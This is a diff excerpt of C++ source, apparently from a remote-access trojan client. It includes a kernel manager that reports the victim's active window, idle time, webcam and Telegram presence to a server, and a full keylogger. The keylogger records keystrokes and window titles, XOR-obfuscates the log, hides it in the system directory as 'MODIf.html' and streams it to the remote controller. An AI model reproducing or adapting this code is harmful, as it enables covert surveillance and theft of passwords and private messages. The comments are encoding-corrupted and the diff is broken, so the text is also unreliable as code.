return "Inactive: " + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
DWORD totalSeconds = ms / 1000;
|
||||
DWORD hours = totalSeconds / 3600;
|
||||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||||
DWORD seconds = totalSeconds % 60;
|
||||
|
||||
std::stringstream ss;
|
||||
ss << std::setfill('0')
|
||||
<< std::setw(2) << hours << ":"
|
||||
<< std::setw(2) << minutes << ":"
|
||||
<< std::setw(2) << seconds;
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
std::string GetActiveWindowTitle()
|
||||
{
|
||||
HWND hForegroundWindow = GetForegroundWindow();
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||||
GetLastInputInfo(&lii);
|
||||
return lii.dwTime;
|
||||
}
|
||||
|
||||
DWORD GetUserIdleTime()
|
||||
{
|
||||
return (GetTickCount64() - GetLastInputTime());
|
||||
}
|
||||
};
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||
struct ThreadInfo
|
||||
{
|
||||
BOOL run;
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
|
||||
void* user;
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKernelManager(IOCPClient* ClientObject);
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ThreadInfo m_hThread[0x1000];
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
|
||||
MasterSettings m_settings;
|
||||
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int SendHeartbeat() {
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, m_nNetPing);
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type) {
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames) {
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD>̵Ŀ<CCB5><C4BF><EFBFBD>
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD><EFBFBD>
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD>䣬<EFBFBD><EFBFBD> true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
CloseHandle(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
|
||||
504
client/KeyboardManager.cpp
Normal file
504
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,504 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
|
||||
{
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
sendOfflineRecord();
|
||||
|
||||
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
|
||||
lstrcat(m_strRecordFile, FILE_PATH);
|
||||
|
||||
m_bIsWorking = true;
|
||||
dKeyBoardSize = 0;
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
CloseHandle(m_hSendThread);
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
DeleteFile(m_strRecordFile);
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
dKeyBoardSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)true;
|
||||
|
||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
||||
{
|
||||
int nRet = 0;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
dKeyBoardSize = dwSize;
|
||||
if (0 != dwRead) {
|
||||
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
|
||||
dwSize -= dwRead;
|
||||
}
|
||||
|
||||
TCHAR *lpBuffer = new TCHAR[dwSize];
|
||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
|
||||
lpBuffer[i] ^= '`';
|
||||
|
||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
{
|
||||
std::string KeyString = "";
|
||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = ":";
|
||||
else
|
||||
KeyString = ";";
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = "+";
|
||||
else
|
||||
KeyString = "=";
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = "<";
|
||||
else
|
||||
KeyString = ",";
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
||||
KeyString = "_";
|
||||
else
|
||||
KeyString = "-";
|
||||
break;
|
||||
case 190:
|
||||
if(IS)
|
||||
KeyString = ">";
|
||||
else
|
||||
KeyString = ".";
|
||||
break;
|
||||
case 191:
|
||||
if(IS)
|
||||
KeyString = "?";
|
||||
else
|
||||
KeyString = "/";
|
||||
break;
|
||||
case 192:
|
||||
if(IS)
|
||||
KeyString = "~";
|
||||
else
|
||||
KeyString = "`";
|
||||
break;
|
||||
case 219:
|
||||
if(IS)
|
||||
KeyString = "{";
|
||||
else
|
||||
KeyString = "[";
|
||||
break;
|
||||
case 220:
|
||||
if(IS)
|
||||
KeyString = "|";
|
||||
else
|
||||
KeyString = "\\";
|
||||
break;
|
||||
case 221:
|
||||
if(IS)
|
||||
KeyString = "}";
|
||||
else
|
||||
KeyString = "]";
|
||||
break;
|
||||
case 222:
|
||||
if(IS)
|
||||
KeyString = '"';
|
||||
else
|
||||
KeyString = "'";
|
||||
break;
|
||||
}
|
||||
}
|
||||
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
||||
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
||||
KeyString = "[Esc]";
|
||||
else if (Key == VK_F1) // F1<46><31>F12
|
||||
KeyString = "[F1]";
|
||||
else if (Key == VK_F2)
|
||||
KeyString = "[F2]";
|
||||
else if (Key == VK_F3)
|
||||
KeyString = "[F3]";
|
||||
else if (Key == VK_F4)
|
||||
KeyString = "[F4]";
|
||||
else if (Key == VK_F5)
|
||||
KeyString = "[F5]";
|
||||
else if (Key == VK_F6)
|
||||
KeyString = "[F6]";
|
||||
else if (Key == VK_F7)
|
||||
KeyString = "[F7]";
|
||||
else if (Key == VK_F8)
|
||||
KeyString = "[F8]";
|
||||
else if (Key == VK_F9)
|
||||
KeyString = "[F9]";
|
||||
else if (Key == VK_F10)
|
||||
KeyString = "[F10]";
|
||||
else if (Key == VK_F11)
|
||||
KeyString = "[F11]";
|
||||
else if (Key == VK_F12)
|
||||
KeyString = "[F12]";
|
||||
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
||||
KeyString = "[PrScrn]";
|
||||
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Scroll Lock]";
|
||||
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
||||
KeyString = "[Pause]";
|
||||
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||
KeyString = "[Caps Lock]";
|
||||
|
||||
//-------------------------------------//
|
||||
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
KeyString = "[Backspace]";
|
||||
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Enter]\n";
|
||||
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
||||
KeyString = " ";
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[Shift]";
|
||||
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[SHIFT]";
|
||||
*/
|
||||
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
||||
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
||||
KeyString = "[Tab]";
|
||||
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
KeyString = "[Ctrl]";
|
||||
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
||||
KeyString = "[CTRL]";
|
||||
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
||||
KeyString = "[Alt]";
|
||||
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[ALT]";
|
||||
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[Win]";
|
||||
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[WIN]";
|
||||
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
||||
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
|
||||
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[Insert]";
|
||||
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
||||
KeyString = "[Delete]";
|
||||
else if (Key == VK_HOME) // <20><>ʼ
|
||||
KeyString = "[Home]";
|
||||
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[End]";
|
||||
else if (Key == VK_PRIOR) // <20><>һҳ
|
||||
KeyString = "[PgUp]";
|
||||
else if (Key == VK_NEXT) // <20><>һҳ
|
||||
KeyString = "[PgDown]";
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = "[Cancel]";
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
KeyString = "[Clear]";
|
||||
else if (Key == VK_SELECT) //Select
|
||||
KeyString = "[Select]";
|
||||
else if (Key == VK_PRINT) //Print
|
||||
KeyString = "[Print]";
|
||||
else if (Key == VK_EXECUTE) //Execute
|
||||
KeyString = "[Execute]";
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_UP)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[NumLock]";
|
||||
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
||||
KeyString = "+";
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = "-";
|
||||
else if (Key == VK_MULTIPLY)
|
||||
KeyString = "*";
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = "/";
|
||||
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
||||
KeyString = ".";
|
||||
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = "0";
|
||||
else if (Key == VK_NUMPAD1)
|
||||
KeyString = "1";
|
||||
else if (Key == VK_NUMPAD2)
|
||||
KeyString = "2";
|
||||
else if (Key == VK_NUMPAD3)
|
||||
KeyString = "3";
|
||||
else if (Key == VK_NUMPAD4)
|
||||
KeyString = "4";
|
||||
else if (Key == VK_NUMPAD5)
|
||||
KeyString = "5";
|
||||
else if (Key == VK_NUMPAD6)
|
||||
KeyString = "6";
|
||||
else if (Key == VK_NUMPAD7)
|
||||
KeyString = "7";
|
||||
else if (Key == VK_NUMPAD8)
|
||||
KeyString = "8";
|
||||
else if (Key == VK_NUMPAD9)
|
||||
KeyString = "9";
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
|
||||
else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||
if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key - 32;
|
||||
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key - 32;
|
||||
else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
}
|
||||
} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
KeyString = ")";
|
||||
break;
|
||||
case 49://1
|
||||
KeyString = "!";
|
||||
break;
|
||||
case 50://2
|
||||
KeyString = "@";
|
||||
break;
|
||||
case 51://3
|
||||
KeyString = "#";
|
||||
break;
|
||||
case 52://4
|
||||
KeyString = "$";
|
||||
break;
|
||||
case 53://5
|
||||
KeyString = "%";
|
||||
break;
|
||||
case 54://6
|
||||
KeyString = "^";
|
||||
break;
|
||||
case 55://7
|
||||
KeyString = "&";
|
||||
break;
|
||||
case 56://8
|
||||
KeyString = "*";
|
||||
break;
|
||||
case 57://9
|
||||
KeyString = "(";
|
||||
break;
|
||||
}
|
||||
} else
|
||||
KeyString = Key;
|
||||
}
|
||||
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
|
||||
if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
|
||||
KeyString = Key + 32;
|
||||
else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
Key = Key + 32;
|
||||
KeyString = Key;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
|
||||
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete [] lpEncodeBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
HWND hFocus = GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
while(pThis->m_bIsWorking) {
|
||||
DWORD dwSize =0;
|
||||
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
if (pThis->dKeyBoardSize != dwSize) {
|
||||
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
|
||||
}
|
